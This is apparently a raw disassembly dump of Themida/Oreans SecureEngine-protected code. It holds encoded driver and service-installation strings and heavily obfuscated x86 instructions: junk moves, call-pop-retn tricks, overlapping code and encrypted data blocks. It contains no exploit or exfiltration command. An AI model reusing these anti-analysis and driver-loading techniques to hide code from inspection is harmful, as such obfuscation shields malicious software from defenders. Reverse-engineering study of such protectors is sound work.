dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have'
db 0Ah
db 0Dh,'administrator',27h,'s permits the first time that you are going to '
db 'run this program.',0
align 4
dd 59h dup(0)
a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
db 0Dh,'is not open by another program.',0
align 4
dd 67h dup(0)
a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro'
db 'grams using',0Ah
db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
db 0Dh,'Restart now?',0
align 4
dd 0D9h dup(0)
dd 5C2E5C5Ch, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpriv db 'SeShutdownPrivilege',0
align 8
aCreateeventApi db 'CreateEvent API Error while extraction the driver',0
aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA db 'CreateService API Error while extraction the driver',0
aCloseserviceha db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi db 'OpenService API Error while extraction the driver',0
aStartserviceAp db 'StartService API Error while extraction the driver',0
aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
db 0Dh,'contact info@oreans.com for this error',0
dd 0
dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
dd 70h dup(0)
dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
dd 9400h, 500h, 100h, 0A2800h, 200h, 72655300h, 65636976h
dd 63615020h, 32206Bh, 1Dh dup(0)
dd 666F5300h, 72617774h, 69575C65h
db 6Eh, 65h, 0
; ---------------------------------------------------------------------------
loc_5B1D7B: ; CODE XREF: Themida_:005B0CBFj
mov eax, esp
mov [ebp+7A80C69h], eax
mov edi, [ebp+7A81BD1h]
mov eax, eax
mov [ebp+7A81709h], edi
cmp dword ptr [ebp+7A827F9h], 0
jnz short loc_5B1DA3
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1DBC
loc_5B1DA3: ; CODE XREF: Themida_:005B1D98j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAB023h]
call ebx ; _iob
pop ebx
pop eax
loc_5B1DBC: ; CODE XREF: Themida_:005B1DA1j
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1DDC
push eax
push ebx
mov eax, 43Dh
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAAD12h]
call ebx ; _iob
pop ebx
pop eax
loc_5B1DDC: ; CODE XREF: Themida_:005B1DC3j
or di, 74Bh
cld
mov eax, eax
push 0
push eax
call sub_5B1DEF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1DEF proc near ; CODE XREF: Themida_:005B1DE7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5B1DEF endp
; ---------------------------------------------------------------------------
db 0DEh
dd 0E9A5CB8Fh, 14h, 9A16C87Fh, 332F59DDh, 9F4EF5Eh, 0D245C6F1h
dd 18DC3984h, 9DBAC08Bh, 83284A67h, 0A827F9BDh, 9750007h
dd 605BD83h, 740007A8h, 8B535013h, 0B8C0h, 9D8D0000h, 7AAAEC5h
dd 585BD3FFh, 605BD83h, 740007A8h, 0B8535011h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+7AAAD76h]
call ebx ; _iob
pop ebx
pop eax
ja loc_5B1E6E
xor ecx, [ebp+7A82199h]
loc_5B1E6E: ; CODE XREF: Themida_:005B1E62j
jl loc_5B1E7A
mov edx, [ebp+7A81AB5h]
loc_5B1E7A: ; CODE XREF: Themida_:loc_5B1E6Ej
mov eax, eax
mov ecx, [ebp+7A823ADh]
mov eax, eax
mov [ebp+7A80561h], esi
movzx edi, dx
cmp dword ptr [ebp+7A827F9h], 0
jnz short loc_5B1E9F
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1EB2
loc_5B1E9F: ; CODE XREF: Themida_:005B1E94j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+7AAADF7h]
call ebx ; _iob
pop ebx
pop eax
loc_5B1EB2: ; CODE XREF: Themida_:005B1E9Dj
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1ECC
push eax
push ebx
mov eax, 0
lea ebx, [ebp+7AAAD44h]
call ebx ; _iob
pop ebx
pop eax
loc_5B1ECC: ; CODE XREF: Themida_:005B1EB9j
mov [ebp+7A83391h], eax
or edx, [ebp+7A82415h]
mov eax, eax
push ebx
jmp loc_5B1EF0
; ---------------------------------------------------------------------------
dd 8E149D26h, 24B5D41Fh, 0BF90142Fh, 55B60BF8h
; ---------------------------------------------------------------------------
loc_5B1EF0: ; CODE XREF: Themida_:005B1EDBj
pop edx
mov eax, eax
pusha
xor esi, 53E2D029h
mov [ebp+7A80B85h], esi
popa
call near ptr loc_5B1F10+2
push ds
pushf
or al, 62h
adc [edx-4A9C4853h], cl
loc_5B1F10: ; CODE XREF: Themida_:005B1F01p
fld dword ptr [ecx+27619589h]
test al, 7
pop edx
cmp dword ptr [ebp+7A827F9h], 0
jnz short loc_5B1F2B
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1F3E
loc_5B1F2B: ; CODE XREF: Themida_:005B1F20j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+7AAAE5Eh]
call ebx ; _iob
pop ebx
pop eax
loc_5B1F3E: ; CODE XREF: Themida_:005B1F29j
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1F58
push eax
push ebx
mov eax, 0
lea ebx, [ebp+7AAAD5Dh]
call ebx ; _iob
pop ebx
pop eax
loc_5B1F58: ; CODE XREF: Themida_:005B1F45j
push 0
push esi
call sub_5B1F63
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1F63 proc near ; CODE XREF: Themida_:005B1F5Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5B1F63 endp
; ---------------------------------------------------------------------------
db 71h
; ---------------------------------------------------------------------------
retn 0E85Eh
; ---------------------------------------------------------------------------
db 3Bh
; ---------------------------------------------------------------------------
push ebp
adc di, 17A7h
movzx edi, si
mov eax, eax
mov di, 3470h
mov eax, eax
and edi, [ebp+7A818EDh]
cmp dword ptr [ebp+7A827F9h], 0
jnz short loc_5B1FA1
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1FB4
loc_5B1FA1: ; CODE XREF: Themida_:005B1F96j
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+7AAAD90h]
call ebx ; _iob
pop ebx
pop eax
loc_5B1FB4: ; CODE XREF: Themida_:005B1F9Fj
and dl, 0Eh
mov ecx, [ebp+7A81DF9h]
and edx, 56A65FC1h
mov eax, eax
mov edi, [ebp+7A806A1h]
mov eax, eax
cmp dword ptr [ebp+7A827F9h], 0
jnz short loc_5B1FDF
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B1FF8
loc_5B1FDF: ; CODE XREF: Themida_:005B1FD4j
push eax
push ebx
mov eax, eax
mov eax, 7D0h
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAB023h]
call ebx ; _iob
pop ebx
pop eax
loc_5B1FF8: ; CODE XREF: Themida_:005B1FDDj
cmp dword ptr [ebp+7A80605h], 0
jz short loc_5B2018
push eax
push ebx
mov eax, 7D0h
mov [ebp+7A82585h], eax
lea ebx, [ebp+7AAAD12h]
call ebx ; _iob
pop ebx
pop eax
loc_5B2018: ; CODE XREF: Themida_:005B1FFFj
mov [ebp+7A810ADh], esi
js loc_5B2027
mov di, dx
loc_5B2027: ; CODE XREF: Themida_:005B201Ej
push 0
push eax
call sub_5B2032
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2032 proc near ; CODE XREF: Themida_:005B202Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5B2032 endp
; ---------------------------------------------------------------------------
mov esi, 8D0BFB7Bh
sub eax, 6607A82Ch
mov edx, edi
mov eax, eax
mov edi, edx
mov byte ptr [ebp+7A80619h], 53h
mov ecx, 74FD2263h
push 99395F90h
xor dl, 60h
push dword ptr [ebp+7A81895h]
mov ecx, [ebp+7A80F91h]
lea eax, [ebp+7A83BDFh]
jnb loc_5B2097
jmp loc_5B2097
; ---------------------------------------------------------------------------
db 0A2h
dd 31E305A9h, 41BB85C6h, 7A66F9C4h, 9379BA39h
db 8Ah, 0AEh, 1
; ---------------------------------------------------------------------------
loc_5B2097: ; CODE XREF: Themida_:005B2078j
; Themida_:005B207Ej
mov edi, [ebp+7A81D79h]
call eax
push 0
push esi
call sub_5B20AA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B20AA proc near ; CODE XREF: Themida_:005B20A2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5B20AA endp
; ---------------------------------------------------------------------------
cmp byte ptr [eax+2], 2Ah
sbb al, 29h
mov esi, 0BD8B23A8h
cmp eax, 0F07A81Eh
mov edi, 998589D1h
sbb ch, [eax-1A4276F9h]
or eax, 85C607A8h
sbb [esi], eax
test al, 7
push edi
jb loc_5B20EB
sbb edx, 4492D242h
loc_5B20EB: ; CODE XREF: Themida_:005B20DFj
push 90045206h
push dword ptr [ebp+7A81895h]
sub [ebp+7A81BA5h], ebx
lea eax, [ebp+7A83BDFh]
jb near ptr loc_5B211A+3
call near ptr loc_5B2117+2
mov cl, 83h
wait
pop ebx
stosb
mov bl, [edi+68h]
push ebx
xchg eax, edx
loc_5B2117: ; CODE XREF: Themida_:005B2108p
mov edx, [ecx+0Fh]
loc_5B211A: ; CODE XREF: Themida_:005B2102j
mov edi, 0D0FF5FC8h
push 0
push edx
call sub_5B212A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B212A proc near ; CODE XREF: Themida_:005B2122p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5B212A endp
; ---------------------------------------------------------------------------
dw 2234h
dd 9FF0BEC1h, 6D858957h, 8B07A824h, 0A82C558Dh, 1985C607h
dd 4307A806h, 2C2EBF66h, 90702868h, 95B5FFBCh, 0B107A818h
dd 0DF858D7Bh, 0B507A83Bh, 0E8D0FF3Ah, 0Eh, 0C0C9CB43h
dd 15E4896Fh, 26AF6FB6h, 0BD03E0F9h, 7A80301h, 585895Ah
dd 0C607A833h, 0A8061985h, 0BD894C07h, 7A81D85h, 0DA1CE968h
dd 1D958BD9h, 0FF07A829h, 0A81895B5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 189CEA1Ch, 9B5FF3A9h, 8DD68B66h, 0A83BDF85h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 58D0FB4h, 0B9000000h, 425BF5D2h, 0D18BD0FFh, 18B58589h
dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 62B61EC3h, 1B229662h, 13E86Ah, 417F0000h
dd 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh, 0D3BF0F93h
dd 59BD2959h, 0C607A80Bh, 0A8061985h, 6A4607h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8BF53EC3h, 61468F9h, 0BD8BBADEh, 7A82649h, 1895B5FFh
dd 0B86007A8h, 35C84582h, 858D61FCh, 7A83BDFh, 13E9h, 0A192C100h
dd 1CC58E9Ah, 9E25CE92h, 0D9D7D840h, 75968FF3h, 6AD0FFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0FBE029C3h, 0DD61067Bh, 8995F680h, 0A81D4185h, 1985C607h
dd 4707A806h, 0AA9953BFh, 0B5E26872h, 12E98A0Fh, 58000000h
dd 2925AB6Bh, 7775915h, 3C8EB3B1h, 94EB05E1h, 0FFFA8B1Eh
dd 0A81895B5h, 0C58D8B07h, 0E907A830h, 0Fh, 531A2DD1h
dd 413C6E04h, 8D0EF047h, 8DBE64E6h, 0A83BDF85h, 0EE807h
dd 72E0000h, 0B7E8BA0Eh, 3E3EB4h, 0E1B352D0h, 68C0Fh, 85890000h
dd 7A82FEDh, 0D5B5895Ah, 0FF07A814h, 52006AD0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 92E231A7h
dd 531402BFh, 61858921h, 6007A821h, 10D99D89h, 0B96607A8h
dd 0C661C02Dh, 0A8061985h, 6A4707h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 97D943C3h
dd 52111A3Bh, 1981958Bh, 685907A8h, 83D0B5F3h, 3311B531h
dd 0B5FF07A8h, 7A81895h, 17D18D31h, 858D07A8h, 7A83BDFh
dd 14F58D29h, 0D0FF07A8h, 0CE8h, 0D8B81700h, 1546BE1Fh
dd 8E4C0FA0h, 0B55AF527h, 618589E2h, 0F07A81Ah, 0B8Fh
dd 0B70F6000h, 9D8509DFh, 6107A824h, 61985C6h, 0E87707A8h
dd 0Dh, 0B1042C81h, 0AF4F7192h, 5AF05386h, 6860FDFh, 81000000h
dd 0A2B9A6CAh, 0A3685F0Bh, 6AF397A8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0C938C357h
dd 8B50F6C7h, 0A8102D95h, 35B5FF07h, 0F07A81Eh, 858DCFBFh
dd 7A83BDFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 51C35646h, 83F072E2h, 3C9EB48h, 0A80ED595h, 8BD0FF07h
dd 0A8229995h, 41858907h, 6A07A82Fh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 90C4C351h
dd 0DC43BC0Fh, 8901F18Ah, 0A833A99Dh, 1985C607h, 4707A806h
dd 29DD958Bh, 0F66807A8h, 6A8728FAh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5ECC351h
dd 0A89B5208h, 66E7F0D6h, 0CC3CD281h, 1895B5FFh, 952B07A8h
dd 7A80059h, 3BDF858Dh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0E975F4C3h, 6, 53E05169h
dd 8B66D2AAh, 0FD0FFD6h, 8951FEB7h, 0A80B458Dh, 85895A07h
dd 7A8185Dh, 6A1B509h, 8F0F07A8h, 3, 0C6CB8B66h, 0A8061985h
dd 0BF0F4307h, 6EFC68D6h, 74B5BC8Eh, 1895B5FFh, 858D07A8h
dd 7A83BDFh, 349D8D89h, 0D0FF07A8h, 8589CB8Ah, 7A823F5h
dd 0C6F88B66h, 0A8061985h, 0CE94507h, 0E5000000h, 92F890F7h
dd 0A02DE7B2h, 687EAF37h, 8E726969h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 37C35343h, 0CE862h, 298C0000h
dd 9F761A8Eh, 158139Dh, 8B601BA2h, 0A81CB9B5h, 5F61F907h
dd 1895B5FFh, 858D07A8h, 7A83BDFh, 7A98D8Bh, 0D0FF07A8h
dd 32E18D23h, 858907A8h, 7A80A3Dh, 830Fh, 85C60000h, 7A80619h
dd 0B70F5044h, 64685FC9h, 0B9B8F2ECh, 712A5AEDh, 1895B5FFh
dd 8D8B07A8h, 7A82359h, 3BDF858Dh, 6A07A8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 39AA88C3h
dd 0B9E47D0Ah, 465958Bh, 0D0FF07A8h, 15258589h, 6A07A8h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 0A0B4D1C3h, 443BC974h, 0C6BD67A9h, 0A8061985h, 0E1814307h
dd 4AAA7FDFh, 34BDB529h, 0A76807A8h, 0FC0764Ah, 488h, 72BF6600h
dd 95B5FFE2h, 6607A818h, 1910C981h, 3BDF858Dh, 0E78107A8h
dd 5B0F537Ch, 2BAD0FFh, 8939DA54h, 0A80B3985h, 75852907h
dd 8007A82Ch, 0AB0449BDh, 840F0007h, 108h, 1CADBD31h, 858D07A8h
dd 7AB042Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 96C35646h, 9E592AC1h, 0AE58CAACh, 0C5BD8B67h, 5007A817h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A4C35242h
dd 16346E4h, 0A8269DB5h, 8B016A07h, 0A83229BDh, 6A006A07h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0FD8C350h, 68Ah, 8BC98100h, 5114D9CBh, 6A006A5Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 1AE1C355h, 7E08D19Fh, 330595FFh, 858907A8h
dd 7A810F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 6FC35747h, 0E9DB9FC4h, 0Bh, 0E3D5397Fh, 74965C41h
dd 6A9F8757h, 0B9C281FFh, 0FF42C118h, 0A810F5B5h, 8CFEBF07h
dd 95FF0075h, 7A8246Dh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0D883DC3h, 15C9267Fh
dd 836535F9h, 0A827F9BDh, 9750007h, 605BD83h, 740007A8h
dd 8B535019h, 7D1B8C0h, 85890000h, 7A82585h, 0B0239D8Dh
dd 0D3FF07AAh, 0BD83585Bh, 7A80605h, 50177400h, 7D1B853h
dd 85890000h, 7A82585h, 0AD129D8Dh, 0D3FF07AAh, 8B66585Bh
dd 0C18166FEh, 0C08B1394h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0E6C35646h, 0C968F598h, 1985C617h, 4707A806h
dd 0AE8h, 5E01300h, 77C081E4h, 8B95AF34h, 0A8006595h, 0C1685A07h
dd 8093C8F7h, 0B5FF5EDDh, 7A81895h, 5541DA81h, 858D108Ah
dd 7A83BDFh, 0D0FFD38Bh, 27CD8D2Bh, 95007A8h, 0A805B98Dh
dd 6C858D07h, 6607AB08h, 0C7D68Bh, 94h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 90C35646h, 2C618D89h
dd 575807A8h, 2979B589h, 8D5F07A8h, 0AB086CB5h, 16890F07h
dd 0E9000000h, 11h, 0B62B3C78h, 16A50C35h, 65967F3Dh, 0A6F1E93Fh
dd 56F5B549h, 3E64EA81h, 0D0FF69B7h, 0BE9h
dd 0A2095700h, 0ECE68593h, 5A4E8E15h, 86C858Dh, 0BD3307ABh
dd 7A82CBDh, 6047883h, 21850Fh, 81660000h, 0C7C917D1h
dd 0AB090085h, 107h, 0BD8D8900h, 0F07A800h, 68Ch, 31858900h
dd 8307A814h, 0A83565BDh, 850F0007h, 0AEh, 13E9h, 494BB200h
dd 2C32F777h, 15E3498Fh, 3C00DDBh, 5394F2Bh, 900BD83h
dd 0F0007ABh, 8985h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 9DB663A2h, 4C9AEF64h
dd 0BF0F34ABh, 8DBD83FFh, 7A835h, 54840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 7199CCC3h, 8BD0BF0Fh, 0A825BD95h, 0C185C707h, 7A823h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 574AC352h, 0BA66B58Dh, 8C66935Bh
dd 358589DBh, 0F607A80Bh, 840F04C3h, 555h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1AC35040h, 7CF4747Dh
dd 0C79B046Eh, 0A806A585h, 7, 0BD8B5700h, 7A828CDh, 56BD805Fh
dd 7AB04h, 5850Fh, 7BA0000h, 0C62C2C6Bh, 0A8061985h, 86684707h
dd 66E3E45Bh, 24D9F181h, 1895B5FFh, 6A07A8h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0E7B40EC3h
dd 8DA5F3CFh, 0A83BDF85h, 5D8D2B07h, 0FF07A80Eh, 8B6652D0h
dd 46859D6h, 57000001h, 5E8h, 0C7DFF100h, 6160DBBCh, 9D8D5A5Ah
dd 7A82B25h, 53FA8B66h, 2589B529h, 0C58007A8h, 1D0FF2Eh
dd 0A831E18Dh, 25858D07h, 0E907A82Bh, 9, 5176041Bh, 0E9B68D7h
dd 50D78BC6h, 31D9B589h, 858D07A8h, 7AB0408h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 26C35242h, 0AF174449h
dd 818D33DEh, 5007A824h, 30AD958Bh, 858D07A8h, 7AAFADBh
dd 6800Fh, 9D090000h, 7A80F29h, 0FB8B6650h, 2F4195FFh
dd 840F07A8h, 3, 83FE8B66h, 85890CC4h, 7A83105h, 0EE1BD8Bh
dd 6A07A8h, 8068h, 6A036A00h, 68006A00h, 80000000h, 0FADB858Dh
dd 0FF5007AAh, 0A823F595h, 0EB858907h, 0C607AB03h, 0A8061985h
dd 87684707h, 0FFC7B15Eh, 0A81895B5h, 0DF858D07h, 0FF07A83Bh
dd 0FF006AD0h, 0AB03EBB5h, 6AD0FF07h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0C916C352h
dd 0B06BDF25h, 8166801Bh, 0B1B955C9h, 37D03D91h, 830F0000h
dd 68h, 8199D09h, 95707A8h, 0A823D995h, 0B5FF5A07h, 7AB03EBh
dd 34858D8Bh, 8D8B07A8h, 7A82979h, 0B3995FFh, 7EE907A8h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 0F32CC353h, 28D0F70h, 0B1000000h
dd 95896035h, 7A80E21h, 0AE9h, 0E98A8400h, 0DF25C916h
dd 611BB06Bh, 3EBB5FFh, 6A07ABh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 50B192C3h, 8BF6DE0Ah
dd 3995FFCBh, 8107A80Bh, 249D4BEAh, 8B006A5Dh, 0A81519BDh
dd 0ADBD8B07h, 6A07A80Eh, 0E8006A00h, 10h, 0AAF12583h
dd 9FD08338h, 9CF7D77h, 0BEED93CAh, 7E9h, 6BEC7C00h, 0FEF23BEFh
dd 0B6006A5Fh, 8D896085h, 7A8257Dh, 0AE8h, 0C01C3300h
dd 9159938h, 8BF1F0F0h, 0A81969BDh, 6A615F07h, 0F8B70F00h
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 69D6C3C3h, 0C9816018h, 786F1A5Ch, 9F1B589h
dd 0E96107A8h, 13h, 44882EA0h, 0CDEB5C24h, 7A06A29Ah, 0D9C838D9h
dd 8D76B55Eh, 0AB03EF85h, 95895107h, 7A80EE1h, 0D38B6659h
dd 57006A50h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 8166B796h, 0FF7DF9C7h, 0A823F595h, 7E807h
dd 0D1700000h, 0FFBD8C3Bh, 0FE85327h, 93000000h, 1CD3F37Dh
dd 87CAE560h, 6249DC98h, 5A5A72ABh, 0FFF88359h, 119850Fh
dd 0BF0F0000h, 0A9858DD3h, 3107AABAh, 0A8057595h, 0F8D0FF07h
dd 0CE9006Ah, 77000000h, 0C1997C75h, 2F7387CBh, 6A4B582Dh
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 3C03C34Ah, 8AC8F384h, 0BF0F006Ah, 89006AD2h
dd 0A82F359Dh, 6A006A07h, 6860F00h, 0F000000h, 81h, 0EF858D00h
dd 0E807AB03h, 5, 0EB6C86EEh, 87C4B9BDh, 505A7AA0h, 1919BD89h
dd 95FF07A8h, 7A823F5h, 21D9BD0Bh, 1CB107A8h, 0FFFF883h
dd 7E85h, 0D7816600h, 0BD2907A9h, 7A81AB1h, 0FDF7B58Dh
dd 8D8B07AAh, 7A808C5h, 0A9F4858Dh, 6A07AAh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 6B9C0BC3h
dd 1F19F47Fh, 0D211F781h, 0D0FF6F94h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0F1C35040h, 6D813BF4h, 6A0C1223h
dd 18D8B00h, 0FF07A828h, 0A80A3D95h, 499D3107h, 8907A82Ah
dd 0AB03EB85h, 8B526007h, 0A81389B5h, 0FC565E07h, 6A615Fh
dd 858DD08Bh, 7AB03E3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0D6C35747h, 0A54D092h, 0B9AD1DBFh, 0B70F5030h
dd 89046AFBh, 0A817A99Dh, 0C1858D07h, 0B607A825h, 50FCB233h
dd 0F006AF9h, 0D980FBBFh, 6A006AB3h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0B7D9C351h
dd 64D857EFh, 29F1958Bh, 16A07A8h, 0DE9h, 0D2268600h, 8940DE7h
dd 0EF5A60ABh, 0B5FFDFB0h, 7AB03EBh, 0C4D8589h, 95FF07A8h
dd 7A81525h, 5E9h, 32696000h, 952BDAFEh, 7A82395h, 1B61E9h
dd 99952B00h, 8907A818h, 0A824D595h, 0FC08B07h, 0BD83FABFh
dd 7A827F9h, 83097500h, 0A80605BDh, 19740007h, 0C08B5350h
dd 7D2B8h, 85858900h, 8D07A825h, 0AAB0239Dh, 5BD3FF07h
dd 5BD8358h, 7A806h, 53501774h, 7D2B8h, 85858900h, 8D07A825h
dd 0AAAD129Dh, 5BD3FF07h, 29852958h, 0F07A827h, 68Fh, 0E9B58900h
dd 8B07A832h, 8B6653C0h, 85C75FD6h, 7A806A5h, 1, 68FBB70Fh
dd 0CEE4E7B8h, 379B5FFh, 858D07A8h, 7A83BDFh, 8589D0FFh
dd 7A83111h, 647858Dh, 8D5007ABh, 0AB090485h, 1685007h
dd 0FF800000h, 0A8311195h, 75C00B07h, 4185C70Ah, 107A81Eh
dd 68000000h, 0C005DBD4h, 379B5FFh, 858D07A8h, 7A83BDFh
dd 8589D0FFh, 7A81D65h, 0F894858Dh, 0FF5007AAh, 0A81895B5h
dd 6195FF07h, 0B07A821h, 8B0B74C0h, 47858DD8h, 5007AB08h
dd 858DD3FFh, 7AB0847h, 9388366h, 85C70A75h, 7A8294Dh
dd 1, 185D95FFh, 0FF2507A8h, 83000000h, 0A7305F8h, 0DFD85C7h
dd 107A8h, 85010000h, 7A82AB5h, 6E960h, 233A0000h, 98CF0631h
dd 25ED858Bh, 8B6107A8h, 0A813918Dh, 56BD8007h, 7AB04h
dd 24840Fh, 8B660000h, 758D09C8h, 8307A826h, 0AB0900BDh
dd 840F0007h, 18h, 810FF98Bh, 6, 24318589h, 0DFE907A8h
dd 0BF000019h, 2E03A93Bh, 294DBD83h, 0F0007A8h, 9B85h
dd 298D8900h, 8D07A833h, 0AB042085h, 0D1B70F07h, 9C78150h
dd 6A567AA7h, 3BF58001h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 1E904DC3h, 1A719D29h
dd 6A07A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 1AC35747h, 330595FFh, 11E907A8h, 6B000000h, 27C437CFh
dd 7780D209h, 0F2F34674h, 0D5B1D146h, 44A8589h, 0FF6A07ABh
dd 629BD33h, 0B5FF07A8h, 7AB044Ah, 0FFD38B66h, 0A8246D95h
dd 0AFE18007h, 0F85B858Dh, 62BA07AAh, 503F3892h, 8E9h
dd 0A77BBA00h, 0C7C1FDB7h, 0B595FFBEh, 6A07A818h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0B295C353h, 0E58589BBh, 6A07AAF8h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 3144C352h
dd 0DF7060E1h, 82EA8166h, 68858DD8h, 5007AAF8h, 10ADBD8Bh
dd 0B5FF07A8h, 7AAF8E5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
